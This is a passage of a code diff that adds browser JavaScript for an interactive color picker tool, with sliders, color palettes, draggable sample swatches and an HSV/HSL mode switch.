+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' && mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action >= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action <= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue < 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i < size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Teinte', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Luminosité';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Valeur';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i < nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i<16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
